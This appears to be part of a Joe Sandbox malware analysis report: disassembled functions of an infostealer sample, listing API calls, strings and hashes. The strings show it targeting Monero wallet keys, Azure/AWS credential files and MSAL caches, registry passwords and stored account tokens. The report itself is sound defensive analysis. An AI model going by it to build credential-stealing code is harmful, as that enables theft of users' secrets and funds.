Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 8c9a54835633b6ec80261af47e5502ba6a7804ce3b793aa47a72d6920e35c861
Instruction ID: bc4de960951d7faf01625eca204159eaf47c327612c8b98cc391dc22701f77e6
Opcode Fuzzy Hash: 8c9a54835633b6ec80261af47e5502ba6a7804ce3b793aa47a72d6920e35c861
Instruction Fuzzy Hash: 8141967AA4020467D765F770EC46FED3338AB24700F40455873C5A60C5EEF99BC98B91

Function 00FF1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FF12B4
Part of subcall function 00FF12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00FF12BB
Part of subcall function 00FF12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00FF12D7
Part of subcall function 00FF12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FF12F5
Part of subcall function 00FF12A0: RegCloseKey.ADVAPI32(?), ref: 00FF12FF

lstrcat.KERNEL32(?,00000000), ref: 00FF134F
lstrlen.KERNEL32(?), ref: 00FF135C
lstrcat.KERNEL32(?,.keys), ref: 00FF1377

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0087BC50,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00FF1465

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

DeleteFileA.KERNEL32(00000000), ref: 00FF14EF

Strings

.keys, xrefs: 00FF136B
\Monero\wallet.keys, xrefs: 00FF138D
wallet_path, xrefs: 00FF1330
SOFTWARE\monero-project\monero-core, xrefs: 00FF1335

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 049e68fab801741500ed83720d7c6074fb6dc1297809e2ad875e5e81238a602a
Instruction ID: bbf2914d181358841f062c26a5cd9519b56d78f904f87886a9a909dc170a260b
Opcode Fuzzy Hash: 049e68fab801741500ed83720d7c6074fb6dc1297809e2ad875e5e81238a602a
Instruction Fuzzy Hash: 895132B1E5021997DB16EB60DD95FED737CAF64200F4041A8A68AA30C0EF745B89CBA5

Function 00FF75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF72D0: memset.MSVCRT ref: 00FF7314
Part of subcall function 00FF72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00FF733A
Part of subcall function 00FF72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FF73B1
Part of subcall function 00FF72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FF740D
Part of subcall function 00FF72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00FF7452
Part of subcall function 00FF72D0: HeapFree.KERNEL32(00000000), ref: 00FF7459

lstrcat.KERNEL32(35689020,010117FC), ref: 00FF7606
lstrcat.KERNEL32(35689020,00000000), ref: 00FF7648
lstrcat.KERNEL32(35689020, : ), ref: 00FF765A
lstrcat.KERNEL32(35689020,00000000), ref: 00FF768F
lstrcat.KERNEL32(35689020,01011804), ref: 00FF76A0
lstrcat.KERNEL32(35689020,00000000), ref: 00FF76D3
lstrcat.KERNEL32(35689020,01011808), ref: 00FF76ED
task.LIBCPMTD ref: 00FF76FB

Strings

: , xrefs: 00FF764E

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 5834e8f8c70c3e0fda8b24c575ae218e6b52011f23b6a804b0ea5ea0dc4d39df
Instruction ID: b8fabeda6af6d333334e0970e59b228fb7aec0fe417d932e67f8331795131cf3
Opcode Fuzzy Hash: 5834e8f8c70c3e0fda8b24c575ae218e6b52011f23b6a804b0ea5ea0dc4d39df
Instruction Fuzzy Hash: E531EC72900209DFCF18EBB4EC99DFE7779AF54301B104128E242E72A4DA39A946EB50

Function 00FF72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00FF7314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00FF733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FF73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FF740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00FF7452
HeapFree.KERNEL32(00000000), ref: 00FF7459
task.LIBCPMTD ref: 00FF7555

Strings

Password, xrefs: 00FF7401

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 7904713cdfb2b33bf8b0ef49feeebec1b0be5d99e7b650212932d70f2b7dbfd3
Instruction ID: bbd3b5fba8843f8396415d43c34b9627c39003ed8ef6b7c59b31570395dd9d04
Opcode Fuzzy Hash: 7904713cdfb2b33bf8b0ef49feeebec1b0be5d99e7b650212932d70f2b7dbfd3
Instruction Fuzzy Hash: 5F614AB1C0422C9BDB24DB50DC85BEAB7B8BF44300F0081E9E689A6155DFB45BC9DFA0

Function 01007500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01007542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0100757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007603
RtlAllocateHeap.NTDLL(00000000), ref: 0100760A
wsprintfA.USER32 ref: 01007640

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

C, xrefs: 0100754C
:, xrefs: 0100755C
\, xrefs: 01007560

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 8992bb36c4396dabdeb03d25a9b00f53c2ad89cd3b1977a49ae5bae8c86003d1
Instruction ID: a4b1871dfcf18f63827ea401ac43dd555cc2bf29e2dc5fc94af3f9e40847a2e6
Opcode Fuzzy Hash: 8992bb36c4396dabdeb03d25a9b00f53c2ad89cd3b1977a49ae5bae8c86003d1
Instruction Fuzzy Hash: 774185B1D04248ABEF11DF94DC44BDEB7B4BF18704F004199E549A72C0D7796A44CFA5

Function 00FFBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

lstrlen.KERNEL32(00000000), ref: 00FFBC9F

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FFBCCD
lstrlen.KERNEL32(00000000), ref: 00FFBDA5
lstrlen.KERNEL32(00000000), ref: 00FFBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00FFBBEB
AccountTokens, xrefs: 00FFBABA
AccountTokens, xrefs: 00FFBB49
AccountId, xrefs: 00FFBCC4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: b48484f6488e52611b274ddbe71f47fdea17788f18bcbccade20146c1316616d
Instruction ID: f4eeb946e5e4fa5610864e2e1d1c07fe88225202b3e7effc3162a023b212ece7
Opcode Fuzzy Hash: b48484f6488e52611b274ddbe71f47fdea17788f18bcbccade20146c1316616d
Instruction Fuzzy Hash: 41B12071A10209DBEF19FBA0DD95EEE7338AF64200F404169E587A71D4EF346B49CBA1

Function 00FF4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FF4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00FF4FD1
InternetOpenA.WININET(01010DDF,00000000,00000000,00000000,00000000), ref: 00FF4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00FF5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00FF5041
InternetCloseHandle.WININET(?), ref: 00FF50B9
InternetCloseHandle.WININET(?), ref: 00FF50C6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 33b8ebf6c39b04aa4815f9427fd84de384b00adf0153fcf046203988c87cfd71
Instruction ID: 88e825a974d46018c64910c2500534e3fa2d747a3b0fd1e7cd89dfd2e0f3c94f
Opcode Fuzzy Hash: 33b8ebf6c39b04aa4815f9427fd84de384b00adf0153fcf046203988c87cfd71
Instruction Fuzzy Hash: C131F8B5A4021CABDB24CF54DC89BDCB7B4EB48704F5081E9E709A7284CB706AC59F98

Function 010083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01008426
wsprintfA.USER32 ref: 01008459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0100847B
RegCloseKey.ADVAPI32(00000000), ref: 0100848C
RegCloseKey.ADVAPI32(00000000), ref: 01008499

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

RegQueryValueExA.KERNEL32(00000000,0087F0C0,00000000,000F003F,?,00000400), ref: 010084EC
lstrlen.KERNEL32(?), ref: 01008501
RegQueryValueExA.KERNEL32(00000000,0087F120,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,01010B34), ref: 01008599
RegCloseKey.KERNEL32(00000000), ref: 01008608
RegCloseKey.ADVAPI32(00000000), ref: 0100861A

Strings

%s\%s, xrefs: 0100844D

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
